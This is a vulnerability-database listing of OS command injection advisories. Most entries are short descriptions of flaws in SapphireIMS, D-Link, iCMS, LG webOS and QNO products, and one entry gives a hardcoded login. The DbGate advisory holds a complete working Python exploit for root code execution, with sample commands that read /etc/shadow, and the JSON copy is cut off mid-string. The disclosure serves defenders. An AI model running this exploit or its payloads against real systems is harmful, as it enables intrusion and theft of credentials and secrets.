CWE-78
AllowedImproper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
8265 vulnerabilities reference this CWE, most recent first.
GHSA-WJW3-27PJ-FVHG
Vulnerability from github – Published: 2022-05-24 22:29 – Updated: 2022-06-29 00:00In SapphireIMS 5.0, it is possible to use the hardcoded credential in clients (username: sapphire, password: ims) and gain access to the portal. Once the access is available, the attacker can inject malicious OS commands on “ping”, “traceroute” and “snmp” functions and execute code on the server. We also observed the same is true if the JSESSIONID is completely removed.
{
"affected": [],
"aliases": [
"CVE-2020-25560"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-08-11T21:15:00Z",
"severity": "CRITICAL"
},
"details": "In SapphireIMS 5.0, it is possible to use the hardcoded credential in clients (username: sapphire, password: ims) and gain access to the portal. Once the access is available, the attacker can inject malicious OS commands on \u201cping\u201d, \u201ctraceroute\u201d and \u201csnmp\u201d functions and execute code on the server. We also observed the same is true if the JSESSIONID is completely removed.",
"id": "GHSA-wjw3-27pj-fvhg",
"modified": "2022-06-29T00:00:31Z",
"published": "2022-05-24T22:29:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-25560"
},
{
"type": "WEB",
"url": "https://vuln.shellcoder.party/2020/09/19/cve-2020-25560-sapphireims-unauthenticated-remote-command-execution-on-server"
},
{
"type": "WEB",
"url": "https://vuln.shellcoder.party/tags/sapphireims"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WJW4-2695-6MJ3
Vulnerability from github – Published: 2023-03-29 21:30 – Updated: 2023-04-08 03:30This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of D-Link DIR-825 1.0.9/EE routers. Authentication is not required to exploit this vulnerability. The specific flaw exists within the IVI plugin for the xupnpd service, which listens on TCP port 4044. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the admin user. Was ZDI-CAN-19462.
{
"affected": [],
"aliases": [
"CVE-2022-43645"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-03-29T19:15:00Z",
"severity": "HIGH"
},
"details": "This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of D-Link DIR-825 1.0.9/EE routers. Authentication is not required to exploit this vulnerability. The specific flaw exists within the IVI plugin for the xupnpd service, which listens on TCP port 4044. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the admin user. Was ZDI-CAN-19462.",
"id": "GHSA-wjw4-2695-6mj3",
"modified": "2023-04-08T03:30:28Z",
"published": "2023-03-29T21:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-43645"
},
{
"type": "WEB",
"url": "https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10319"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-22-1704"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WM4J-739M-PRWH
Vulnerability from github – Published: 2022-05-24 17:36 – Updated: 2022-05-24 17:36iCMS 7.0.14 attackers to execute arbitrary OS commands via shell metacharacters in the DB_NAME parameter to install/install.php.
{
"affected": [],
"aliases": [
"CVE-2020-19527"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-12-10T23:15:00Z",
"severity": "CRITICAL"
},
"details": "iCMS 7.0.14 attackers to execute arbitrary OS commands via shell metacharacters in the DB_NAME parameter to install/install.php.",
"id": "GHSA-wm4j-739m-prwh",
"modified": "2022-05-24T17:36:01Z",
"published": "2022-05-24T17:36:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-19527"
},
{
"type": "WEB",
"url": "https://github.com/idreamsoft/iCMS/issues/66"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-WM52-4CC3-XXGG
Vulnerability from github – Published: 2024-04-09 15:30 – Updated: 2025-02-07 18:31A command injection vulnerability exists in the com.webos.service.connectionmanager/tv/setVlanStaticAddress endpoint on webOS versions 5 and 6. A series of specially crafted requests can lead to command execution as the dbus user. An attacker can make authenticated requests to trigger this vulnerability.
Full versions and TV models affected: * webOS 5.5.0 - 04.50.51 running on OLED55CXPUA
- webOS 6.3.3-442 (kisscurl-kinglake) - 03.36.50 running on OLED48C1PUB
{
"affected": [],
"aliases": [
"CVE-2023-6320"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-09T14:15:08Z",
"severity": "CRITICAL"
},
"details": "A command injection vulnerability exists in the com.webos.service.connectionmanager/tv/setVlanStaticAddress endpoint on webOS versions 5 and 6. A series of specially crafted requests can lead to command execution as the dbus user. An attacker can make authenticated requests to trigger this vulnerability.\n\nFull versions and TV models affected:\n * webOS 5.5.0 - 04.50.51 running on OLED55CXPUA\u00a0\n\n * webOS 6.3.3-442 (kisscurl-kinglake) - 03.36.50 running on OLED48C1PUB",
"id": "GHSA-wm52-4cc3-xxgg",
"modified": "2025-02-07T18:31:14Z",
"published": "2024-04-09T15:30:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6320"
},
{
"type": "WEB",
"url": "https://bitdefender.com/blog/labs/vulnerabilities-identified-in-lg-webos"
},
{
"type": "WEB",
"url": "https://lgsecurity.lge.com/bulletins/tv#updateDetails"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WM5F-5PX7-G28V
Vulnerability from github – Published: 2025-12-31 12:31 – Updated: 2025-12-31 12:31VPN Firewall developed by QNO Technology has an OS Command Injection vulnerability, allowing authenticated remote attackers to inject arbitrary OS commands and execute them on the server.
{
"affected": [],
"aliases": [
"CVE-2025-15389"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-31T10:15:51Z",
"severity": "HIGH"
},
"details": "VPN Firewall developed by QNO Technology has an OS Command Injection vulnerability, allowing authenticated remote attackers to inject arbitrary OS commands and execute them on the server.",
"id": "GHSA-wm5f-5px7-g28v",
"modified": "2025-12-31T12:31:20Z",
"published": "2025-12-31T12:31:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-15389"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/en/cp-139-10614-dee41-2.html"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/tw/cp-132-10613-e1780-1.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-WM5R-5QP3-5VXF
Vulnerability from github – Published: 2026-06-05 16:30 – Updated: 2026-06-05 16:30Summary
DbGate is vulnerable to authenticated Remote Code Execution (RCE). Any user with valid DbGate credentials can execute arbitrary OS commands as root by exploiting an unsanitized functionName parameter in the /runners/load-reader endpoint. The require = null mitigation is trivially bypassed via dynamic import().
Details
Code injection via functionName in loadReader
The /runners/load-reader endpoint interpolates the functionName parameter directly into a dynamically generated JavaScript script template without any sanitization:
// packages/api/src/controllers/runners.js (loadReader / loaderScriptTemplate)
const reader = await dbgateApi.${functionName}({...});
By injecting a newline character into functionName, an attacker breaks out of the template expression and injects arbitrary JavaScript code. The injected code uses await import('child_process') to bypass the require = null mitigation (since import() is a language keyword, not a function that can be nullified), achieving arbitrary command execution as the process user (root in Docker).
The June 2025 security fix (commit cf3f95c) added require = null to the generated script, but this is trivially bypassed:
// Mitigation in generated script:
require = null;
// Bypass via dynamic import (language keyword, cannot be nullified):
const { execSync } = await import('child_process');
execSync('arbitrary command');
Root cause: functionName is user-controlled input that is interpolated into code without sanitization. The fix should validate functionName against an allowlist of known reader functions (e.g., /^[a-zA-Z]+$/) or use a lookup table instead of string interpolation.
PoC
The PoC can be run against a test environment using Docker Compose:
services:
sectest-dbgate:
image: dbgate/dbgate:7.1.4-alpine
ports:
- "80:3000"
environment:
LOGINS: admin
LOGIN_PASSWORD_admin: SuperSecretPassword123
WEB_ROOT: /
CONNECTIONS: con1
LABEL_con1: MySQL
SERVER_con1: sectest-mysql
USER_con1: dbuser
PASSWORD_con1: dbpassword
PORT_con1: 3306
ENGINE_con1: mysql@dbgate-plugin-mysql
sectest-mysql:
image: mysql:8.0
environment:
MYSQL_ROOT_PASSWORD: rootpass
MYSQL_DATABASE: testdb
MYSQL_USER: dbuser
MYSQL_PASSWORD: dbpassword
PoC Script:
#!/usr/bin/env python3
"""
DBGate — Authenticated RCE PoC
===============================
Root-level command execution against auth-enabled DBGate with valid credentials.
Vulnerability — RCE via loadReader functionName code injection
The /runners/load-reader endpoint interpolates `functionName` directly
into a dynamically generated JS script without sanitization.
A newline in functionName breaks out of the template expression and
allows arbitrary code execution as root (Docker default).
The `require = null` mitigation added in June 2025 is trivially
bypassed via dynamic `import()` (a language keyword, not a function).
Affected versions: All DbGate versions (tested on 6.1.4, 6.2.0, 7.1.4)
Fixed in: NOT FIXED as of DbGate 7.1.4
Tested on: dbgate/dbgate:7.1.4-alpine
"""
import argparse
import json
import sys
import time
import uuid
import requests
requests.packages.urllib3.disable_warnings()
COMMON_ROOTS = ["", "/dbgate", "/db", "/admin", "/gate", "/app"]
def banner(host, command, user):
print(f"""
┌─────────────────────────────────────────────────────┐
│ DBGate — Authenticated RCE PoC │
│ loadReader functionName code injection │
│ Affects ALL versions (unpatched as of 7.1.4) │
└─────────────────────────────────────────────────────┘
Target : {host}
User : {user}
Command: {command}
""")
def build_base(host, port=None):
if "://" not in host:
host = f"http://{host}"
scheme, rest = host.split("://", 1)
rest = rest.rstrip("/")
slash = rest.find("/")
if slash == -1:
hostport, path = rest, ""
else:
hostport, path = rest[:slash], rest[slash:]
if port:
hostport = hostport.rsplit(":", 1)[0] + f":{port}"
elif ":" not in hostport:
hostport += ":80"
return f"{scheme}://{hostport}", path
def discover_web_root(base_host, explicit_path=""):
if explicit_path:
return f"{base_host}{explicit_path}"
for root in COMMON_ROOTS:
url = f"{base_host}{root}"
try:
r = requests.post(f"{url}/config/get", json={},
timeout=3, verify=False)
if r.status_code == 200 and "version" in r.text:
if root:
print(f" [+] Auto-detected WEB_ROOT: {root}")
return url
except Exception:
pass
return base_host
def phase1_recon(base):
print("[Phase 1] Reconnaissance")
info = {}
try:
r = requests.post(f"{base}/config/get", json={}, timeout=5, verify=False)
if r.status_code == 200:
cfg = r.json()
info["config"] = cfg
version = cfg.get("version", "?")
print(f" [+] Version : {version}")
print(f" [+] Docker : {cfg.get('isDocker', '?')}")
print(f" [+] Data dir : {cfg.get('connectionsFilePath', '?').rsplit('/', 1)[0]}")
except Exception:
print(f" [!] /config/get failed")
try:
r = requests.post(f"{base}/auth/get-providers", json={}, timeout=5, verify=False)
if r.status_code == 200:
pdata = r.json()
info["providers"] = pdata
providers = pdata.get("providers", [])
names = [p.get("name", "?") for p in providers]
default = pdata.get("default", "?")
print(f" [+] Auth : {', '.join(names)} (default: {default})")
info["default_amoid"] = default
except Exception:
pass
print()
return info
def phase2_authenticate(base, info, user, password):
print("[Phase 2] Authentication")
amoid = info.get("default_amoid", "logins")
try:
r = requests.post(
f"{base}/auth/login",
json={"amoid": amoid, "login": user, "password": password},
timeout=5, verify=False,
)
if r.status_code == 200:
data = r.json()
token = data.get("accessToken")
if token:
print(f" [+] Authenticated as '{user}'")
print(f" [+] JWT obtained: {token[:50]}...")
print()
return token
else:
error = data.get("error", "no accessToken in response")
print(f" [-] Login failed: {error}")
else:
print(f" [-] Login failed (HTTP {r.status_code})")
except Exception as e:
print(f" [!] Login error: {e}")
print()
return None
def phase3_rce(base, token, command):
"""
RCE via loadReader functionName code injection.
functionName is interpolated into a JS script template:
const reader = await dbgateApi.{functionName}({...});
A newline in functionName breaks out and injects arbitrary code.
import() bypasses the require=null mitigation (import is a keyword).
"""
print("[Phase 3] RCE via loadReader code injection")
print(f" [*] Command: {command}")
uid = uuid.uuid4().hex[:12]
jslout = f"/tmp/_rce_{uid}.jsonl"
escaped_cmd = (command
.replace("\\", "\\\\")
.replace("'", "\\'")
.replace("`", "\\`"))
payload_fn = (
"csvReader\n"
"var _r = (await import('child_process'))"
f".execSync('{escaped_cmd}',{{timeout:30000}})"
".toString();\n"
"var NL = String.fromCharCode(10);\n"
"var _hdr = JSON.stringify({__isStreamHeader:true,"
"columns:[{columnName:'out'}]});\n"
"var _rows = _r.split(NL)"
".filter(function(l){return l.length>0})"
".map(function(l){return JSON.stringify({out:l})})"
".join(NL);\n"
f"(await import('fs')).writeFileSync('{jslout}',"
" _hdr + NL + _rows + NL);\n"
"//"
)
headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json",
}
print(f" [*] Injecting payload via functionName (bypasses require=null)")
try:
r = requests.post(
f"{base}/runners/load-reader",
json={"functionName": payload_fn, "props": {}},
headers=headers,
timeout=35, verify=False,
)
print(f" [*] Payload sent (status {r.status_code})")
except requests.exceptions.Timeout:
print(f" [*] Payload sent (timed out — command may still be running)")
except requests.exceptions.ConnectionError:
print(f" [*] Payload sent (connection reset — expected for some versions)")
except Exception as e:
print(f" [!] Send error: {e}")
return None
print(f" [*] Waiting for execution...")
for wait in [0.5, 1, 1.5, 2, 3, 5]:
time.sleep(wait)
try:
r = requests.post(
f"{base}/jsldata/get-rows",
json={"jslid": f"file://{jslout}", "offset": 0, "limit": 10000},
headers=headers,
timeout=5, verify=False,
)
if r.status_code == 200:
rows = r.json()
if isinstance(rows, list) and len(rows) > 0:
print(f" [+] Output captured ({len(rows)} lines)")
print()
return "\n".join(
row.get("out", "")
for row in rows
if isinstance(row, dict)
)
except requests.exceptions.ConnectionError:
try:
time.sleep(1)
r = requests.post(
f"{base}/jsldata/get-rows",
json={"jslid": f"file://{jslout}", "offset": 0, "limit": 10000},
headers=headers,
timeout=5, verify=False,
)
if r.status_code == 200:
rows = r.json()
if isinstance(rows, list) and len(rows) > 0:
print(f" [+] Output captured ({len(rows)} lines, after reconnect)")
print()
return "\n".join(
row.get("out", "")
for row in rows
if isinstance(row, dict)
)
except Exception:
pass
except Exception:
pass
print(f" [-] Could not retrieve output (command may have failed)")
print()
return None
def main():
p = argparse.ArgumentParser(
add_help=False,
description="DBGate — Authenticated RCE PoC (loadReader code injection)",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=(
"Any authenticated DbGate user can escalate to root-level\n"
"command execution via unsanitized functionName injection.\n"
"This vulnerability is UNPATCHED as of DbGate 7.1.4.\n"
"\n"
"examples:\n"
" %(prog)s -t localhost -u admin -P 'password' -c 'id'\n"
" %(prog)s -t 10.0.0.5:3000 -u admin -P 's3cret' -c 'cat /etc/shadow'\n"
" %(prog)s -t target.internal/dbgate -u admin -P 'pass' -c 'env'\n"
),
)
p.add_argument("-t", "--target", required=True, help="Target host[:port]")
p.add_argument("-u", "--user", required=True, help="DbGate username")
p.add_argument("-P", "--password", required=True, help="DbGate password")
p.add_argument("-c", "--command", required=True, help="OS command to execute")
p.add_argument("-p", "--port", type=int, default=None, help="Override port")
if len(sys.argv) == 1:
p.print_help()
sys.exit(1)
args = p.parse_args()
base_host, path = build_base(args.target, args.port)
banner(base_host, args.command, args.user)
base = discover_web_root(base_host, path)
print(f" [*] API endpoint : {base}")
print()
info = phase1_recon(base)
if not info.get("config"):
print("[!] Cannot reach target — verify host/port/web-root")
sys.exit(1)
token = phase2_authenticate(base, info, args.user, args.password)
if not token:
print("[!] Authentication failed — check username/password")
sys.exit(1)
output = phase3_rce(base, token, args.command)
if output is not None:
print("─" * 60)
print(output.rstrip())
print("─" * 60)
print()
print("[+] RCE successful: authenticated user → root command execution")
else:
print("[!] No output captured (command may have failed or timed out)")
sys.exit(1)
if __name__ == "__main__":
main()
And running the PoC Python script (requires valid credentials):
python3 poc.py -t http://localhost -u admin -P 'SuperSecretPassword123' -c 'id'
Terminal output:
┌─────────────────────────────────────────────────────┐
│ DBGate — Authenticated RCE PoC │
│ loadReader functionName code injection │
│ Affects ALL versions (unpatched as of 7.1.4) │
└─────────────────────────────────────────────────────┘
Target : http://localhost:80
User : admin
Command: id
[*] API endpoint : http://localhost:80
[Phase 1] Reconnaissance
[+] Version : 7.1.4
[+] Docker : True
[+] Data dir : /root/.dbgate
[+] Auth : Login & Password (default: logins)
[Phase 2] Authentication
[+] Authenticated as 'admin'
[+] JWT obtained: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbW9pZCI6I...
[Phase 3] RCE via loadReader code injection
[*] Command: id
[*] Injecting payload via functionName (bypasses require=null)
[*] Payload sent (status 500)
[*] Waiting for execution...
[+] Output captured (1 lines)
────────────────────────────────────────────────────────────
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
────────────────────────────────────────────────────────────
[+] RCE successful: authenticated user → root command execution
Impact
- Privilege escalation to root — an authenticated DbGate user escalates from web UI access to a root OS shell inside the container
- Infrastructure secret theft —
/proc/1/environexposes all container environment variables, which may include API keys, cloud tokens, and secrets beyond database credentials that are not visible through the DbGate UI - Other users' credentials — extracts
LOGIN_PASSWORD_*env vars for all DbGate users, enabling password-reuse attacks against other systems - Network pivot — from inside the container, the attacker can scan and reach other services on the network that are not exposed externally
- Persistent backdoor — root access allows modifying the DbGate application itself (e.g.
bundle.js), installing cron jobs, or adding SSH keys — the backdoor survives credential rotation and DbGate restarts
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 7.1.8"
},
"package": {
"ecosystem": "npm",
"name": "dbgate-api"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.1.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47670"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-05T16:30:59Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\n\nDbGate is vulnerable to authenticated Remote Code Execution (RCE). Any user with valid DbGate credentials can execute arbitrary OS commands as root by exploiting an unsanitized `functionName` parameter in the `/runners/load-reader` endpoint. The `require = null` mitigation is trivially bypassed via dynamic `import()`.\n\n\n\u003cbr/\u003e\n\n### Details\n\n**Code injection via `functionName` in loadReader**\n\nThe `/runners/load-reader` endpoint interpolates the `functionName` parameter directly into a dynamically generated JavaScript script template without any sanitization:\n\n```javascript\n// packages/api/src/controllers/runners.js (loadReader / loaderScriptTemplate)\nconst reader = await dbgateApi.${functionName}({...});\n```\n\nBy injecting a newline character into `functionName`, an attacker breaks out of the template expression and injects arbitrary JavaScript code. The injected code uses `await import(\u0027child_process\u0027)` to bypass the `require = null` mitigation (since `import()` is a language keyword, not a function that can be nullified), achieving arbitrary command execution as the process user (root in Docker).\n\nThe June 2025 security fix ([commit cf3f95c](https://github.com/dbgate/dbgate/commit/cf3f95c952)) added `require = null` to the generated script, but this is trivially bypassed:\n\n```javascript\n// Mitigation in generated script:\nrequire = null;\n\n// Bypass via dynamic import (language keyword, cannot be nullified):\nconst { execSync } = await import(\u0027child_process\u0027);\nexecSync(\u0027arbitrary command\u0027);\n```\n\n**Root cause:** `functionName` is user-controlled input that is interpolated into code without sanitization. The fix should validate `functionName` against an allowlist of known reader functions (e.g., `/^[a-zA-Z]+$/`) or use a lookup table instead of string interpolation.\n\n\n\n\u003cbr/\u003e\n\n### PoC\n\nThe PoC can be run against a test environment using Docker Compose:\n\n```yaml\nservices:\n sectest-dbgate:\n image: dbgate/dbgate:7.1.4-alpine\n ports:\n - \"80:3000\"\n environment:\n LOGINS: admin\n LOGIN_PASSWORD_admin: SuperSecretPassword123\n WEB_ROOT: /\n CONNECTIONS: con1\n LABEL_con1: MySQL\n SERVER_con1: sectest-mysql\n USER_con1: dbuser\n PASSWORD_con1: dbpassword\n PORT_con1: 3306\n ENGINE_con1: mysql@dbgate-plugin-mysql\n\n sectest-mysql:\n image: mysql:8.0\n environment:\n MYSQL_ROOT_PASSWORD: rootpass\n MYSQL_DATABASE: testdb\n MYSQL_USER: dbuser\n MYSQL_PASSWORD: dbpassword\n```\n\nPoC Script:\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nDBGate \u2014 Authenticated RCE PoC\n===============================\nRoot-level command execution against auth-enabled DBGate with valid credentials.\n\n Vulnerability \u2014 RCE via loadReader functionName code injection\n The /runners/load-reader endpoint interpolates `functionName` directly\n into a dynamically generated JS script without sanitization.\n A newline in functionName breaks out of the template expression and\n allows arbitrary code execution as root (Docker default).\n\n The `require = null` mitigation added in June 2025 is trivially\n bypassed via dynamic `import()` (a language keyword, not a function).\n\nAffected versions: All DbGate versions (tested on 6.1.4, 6.2.0, 7.1.4)\nFixed in: NOT FIXED as of DbGate 7.1.4\nTested on: dbgate/dbgate:7.1.4-alpine\n\"\"\"\n\nimport argparse\nimport json\nimport sys\nimport time\nimport uuid\nimport requests\n\nrequests.packages.urllib3.disable_warnings()\n\nCOMMON_ROOTS = [\"\", \"/dbgate\", \"/db\", \"/admin\", \"/gate\", \"/app\"]\n\n\ndef banner(host, command, user):\n print(f\"\"\"\n \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n \u2502 DBGate \u2014 Authenticated RCE PoC \u2502\n \u2502 loadReader functionName code injection \u2502\n \u2502 Affects ALL versions (unpatched as of 7.1.4) \u2502\n \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n Target : {host}\n User : {user}\n Command: {command}\n\"\"\")\n\n\ndef build_base(host, port=None):\n if \"://\" not in host:\n host = f\"http://{host}\"\n scheme, rest = host.split(\"://\", 1)\n rest = rest.rstrip(\"/\")\n slash = rest.find(\"/\")\n if slash == -1:\n hostport, path = rest, \"\"\n else:\n hostport, path = rest[:slash], rest[slash:]\n if port:\n hostport = hostport.rsplit(\":\", 1)[0] + f\":{port}\"\n elif \":\" not in hostport:\n hostport += \":80\"\n return f\"{scheme}://{hostport}\", path\n\n\ndef discover_web_root(base_host, explicit_path=\"\"):\n if explicit_path:\n return f\"{base_host}{explicit_path}\"\n\n for root in COMMON_ROOTS:\n url = f\"{base_host}{root}\"\n try:\n r = requests.post(f\"{url}/config/get\", json={},\n timeout=3, verify=False)\n if r.status_code == 200 and \"version\" in r.text:\n if root:\n print(f\" [+] Auto-detected WEB_ROOT: {root}\")\n return url\n except Exception:\n pass\n return base_host\n\n\ndef phase1_recon(base):\n print(\"[Phase 1] Reconnaissance\")\n info = {}\n\n try:\n r = requests.post(f\"{base}/config/get\", json={}, timeout=5, verify=False)\n if r.status_code == 200:\n cfg = r.json()\n info[\"config\"] = cfg\n version = cfg.get(\"version\", \"?\")\n print(f\" [+] Version : {version}\")\n print(f\" [+] Docker : {cfg.get(\u0027isDocker\u0027, \u0027?\u0027)}\")\n print(f\" [+] Data dir : {cfg.get(\u0027connectionsFilePath\u0027, \u0027?\u0027).rsplit(\u0027/\u0027, 1)[0]}\")\n except Exception:\n print(f\" [!] /config/get failed\")\n\n try:\n r = requests.post(f\"{base}/auth/get-providers\", json={}, timeout=5, verify=False)\n if r.status_code == 200:\n pdata = r.json()\n info[\"providers\"] = pdata\n providers = pdata.get(\"providers\", [])\n names = [p.get(\"name\", \"?\") for p in providers]\n default = pdata.get(\"default\", \"?\")\n print(f\" [+] Auth : {\u0027, \u0027.join(names)} (default: {default})\")\n info[\"default_amoid\"] = default\n except Exception:\n pass\n\n print()\n return info\n\n\ndef phase2_authenticate(base, info, user, password):\n print(\"[Phase 2] Authentication\")\n\n amoid = info.get(\"default_amoid\", \"logins\")\n\n try:\n r = requests.post(\n f\"{base}/auth/login\",\n json={\"amoid\": amoid, \"login\": user, \"password\": password},\n timeout=5, verify=False,\n )\n if r.status_code == 200:\n data = r.json()\n token = data.get(\"accessToken\")\n if token:\n print(f\" [+] Authenticated as \u0027{user}\u0027\")\n print(f\" [+] JWT obtained: {token[:50]}...\")\n print()\n return token\n else:\n error = data.get(\"error\", \"no accessToken in response\")\n print(f\" [-] Login failed: {error}\")\n else:\n print(f\" [-] Login failed (HTTP {r.status_code})\")\n except Exception as e:\n print(f\" [!] Login error: {e}\")\n\n print()\n return None\n\n\ndef phase3_rce(base, token, command):\n \"\"\"\n RCE via loadReader functionName code injection.\n\n functionName is interpolated into a JS script template:\n const reader = await dbgateApi.{functionName}({...});\n A newline in functionName breaks out and injects arbitrary code.\n\n import() bypasses the require=null mitigation (import is a keyword).\n \"\"\"\n print(\"[Phase 3] RCE via loadReader code injection\")\n print(f\" [*] Command: {command}\")\n\n uid = uuid.uuid4().hex[:12]\n jslout = f\"/tmp/_rce_{uid}.jsonl\"\n\n escaped_cmd = (command\n .replace(\"\\\\\", \"\\\\\\\\\")\n .replace(\"\u0027\", \"\\\\\u0027\")\n .replace(\"`\", \"\\\\`\"))\n\n payload_fn = (\n \"csvReader\\n\"\n \"var _r = (await import(\u0027child_process\u0027))\"\n f\".execSync(\u0027{escaped_cmd}\u0027,{{timeout:30000}})\"\n \".toString();\\n\"\n \"var NL = String.fromCharCode(10);\\n\"\n \"var _hdr = JSON.stringify({__isStreamHeader:true,\"\n \"columns:[{columnName:\u0027out\u0027}]});\\n\"\n \"var _rows = _r.split(NL)\"\n \".filter(function(l){return l.length\u003e0})\"\n \".map(function(l){return JSON.stringify({out:l})})\"\n \".join(NL);\\n\"\n f\"(await import(\u0027fs\u0027)).writeFileSync(\u0027{jslout}\u0027,\"\n \" _hdr + NL + _rows + NL);\\n\"\n \"//\"\n )\n\n headers = {\n \"Authorization\": f\"Bearer {token}\",\n \"Content-Type\": \"application/json\",\n }\n\n print(f\" [*] Injecting payload via functionName (bypasses require=null)\")\n\n try:\n r = requests.post(\n f\"{base}/runners/load-reader\",\n json={\"functionName\": payload_fn, \"props\": {}},\n headers=headers,\n timeout=35, verify=False,\n )\n print(f\" [*] Payload sent (status {r.status_code})\")\n except requests.exceptions.Timeout:\n print(f\" [*] Payload sent (timed out \u2014 command may still be running)\")\n except requests.exceptions.ConnectionError:\n print(f\" [*] Payload sent (connection reset \u2014 expected for some versions)\")\n except Exception as e:\n print(f\" [!] Send error: {e}\")\n return None\n\n print(f\" [*] Waiting for execution...\")\n for wait in [0.5, 1, 1.5, 2, 3, 5]:\n time.sleep(wait)\n try:\n r = requests.post(\n f\"{base}/jsldata/get-rows\",\n json={\"jslid\": f\"file://{jslout}\", \"offset\": 0, \"limit\": 10000},\n headers=headers,\n timeout=5, verify=False,\n )\n if r.status_code == 200:\n rows = r.json()\n if isinstance(rows, list) and len(rows) \u003e 0:\n print(f\" [+] Output captured ({len(rows)} lines)\")\n print()\n return \"\\n\".join(\n row.get(\"out\", \"\")\n for row in rows\n if isinstance(row, dict)\n )\n except requests.exceptions.ConnectionError:\n try:\n time.sleep(1)\n r = requests.post(\n f\"{base}/jsldata/get-rows\",\n json={\"jslid\": f\"file://{jslout}\", \"offset\": 0, \"limit\": 10000},\n headers=headers,\n timeout=5, verify=False,\n )\n if r.status_code == 200:\n rows = r.json()\n if isinstance(rows, list) and len(rows) \u003e 0:\n print(f\" [+] Output captured ({len(rows)} lines, after reconnect)\")\n print()\n return \"\\n\".join(\n row.get(\"out\", \"\")\n for row in rows\n if isinstance(row, dict)\n )\n except Exception:\n pass\n except Exception:\n pass\n\n print(f\" [-] Could not retrieve output (command may have failed)\")\n print()\n return None\n\n\ndef main():\n p = argparse.ArgumentParser(\n add_help=False,\n description=\"DBGate \u2014 Authenticated RCE PoC (loadReader code injection)\",\n formatter_class=argparse.RawDescriptionHelpFormatter,\n epilog=(\n \"Any authenticated DbGate user can escalate to root-level\\n\"\n \"command execution via unsanitized functionName injection.\\n\"\n \"This vulnerability is UNPATCHED as of 